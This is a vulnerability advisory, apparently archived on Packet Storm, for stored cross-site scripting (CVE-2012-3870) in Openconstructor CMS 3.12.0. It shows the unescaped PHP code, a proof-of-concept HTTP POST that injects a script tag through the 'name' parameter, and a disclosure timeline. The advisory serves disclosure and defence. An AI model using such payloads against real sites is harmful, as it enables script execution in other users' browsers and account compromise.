exploit the possibilities

Openconstructor CMS 3.12.0 Cross Site Scripting

Openconstructor CMS 3.12.0 Cross Site Scripting
Posted Aug 4, 2012
Authored by Lorenzo Cantoni

Openconstructor CMS version 3.12.0 suffers from multiple stored cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2012-3870
MD5 | 574900417518e1419bfd74c533394bda

Openconstructor CMS 3.12.0 Cross Site Scripting

Change Mirror Download
###Title###: 
Openconstructor CMS 3.12.0 'createobject.php', 'name' and 'description' parameters Stored Cross-site Scrpting vulnerabilities


###Affected Software###:
http://www.openconstructor.org/
http://code.google.com/p/openconstructor/downloads/list
http://esectorsolutions.com/about/whats-new/esector-news/detailed/?id=234


###Description###:
Openconstructor (formerly known as eSector Solutions Web Constructor) is an open source web Content Management System written in PHP. Stored XSS vulnerabilities exist on the 'name' and 'description'
parameters, which are used as properties when creating a new object. Verson 3.12.0 is vulnerable, previous version may be affected, but they have not been tested.


###CVE###
CVE-2012-3870


###Impact###:
Authenticated attackers can plant malicious javascript in the web application, with the aim to execute it on the other user's browser.

CVSS Base Score: 4.9 (AV:N/AC:M/Au:S/C:P/I:P/A:N)


###Credits###:
Lorenzo Cantoni (lorenzo[dot]cantoni86[at]gmail[dot]com)


###Details###:
When creating a new object in the "object" section, the application asks to set a name and a description for that object.
The application does not escape the html tags correctly for these parameters. The vulnerability has been tested on an Internet Explorer 7 browser (because the application is designed
to work with IE). Newer version of the browser with the anti-xss filter enabled, may help to protect users from such attacks.

'createobject.php' contains multiple lines of code (for the various kind of objects) with code similar to the following one:

$obj->name = $_POST['name'];
$obj->description = $_POST['description'];
$result = ObjManager::create($obj);

$obj with name and description attributes is passed to ObjManager::create() function without HTML escaping.

When the user access the "Object" section and list the objects with a malicious name or description, will trigger the exploit. Additionally, if the object can be published,
the exploit can be triggered also in the "Sitemap" section.


###Proof of Concept###:
Here is a trace of the required POST to plant the javascript

POST /openconstructor/objects/createobject.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://10.0.2.15/openconstructor/objects/createobject.php?ds_type=htmltext&obj_type=htmltextbody
Accept-Language: it
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: 10.0.2.15
Pragma: no-cache
Cookie: curnode=htmltextbody; PHPSESSID=s8fnmtbfv0h1ofdeotu4h75p33; wcsUserLogin=root; wcsUserName=Administrator
Content-Length: 141

ds_type=htmltext&obj_type=htmltextbody&name=xssed+%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&description=asd&ds_id=3&createobject=Create



###Disclosure###
[08/07/2012] Lead Developer contacted.
[22/07/2012] No response. Sent another mail.
[04/08/2012] Still no response. Public disclosure.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    11 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    17 Files
  • 22
    Aug 22nd
    9 Files
  • 23
    Aug 23rd
    3 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close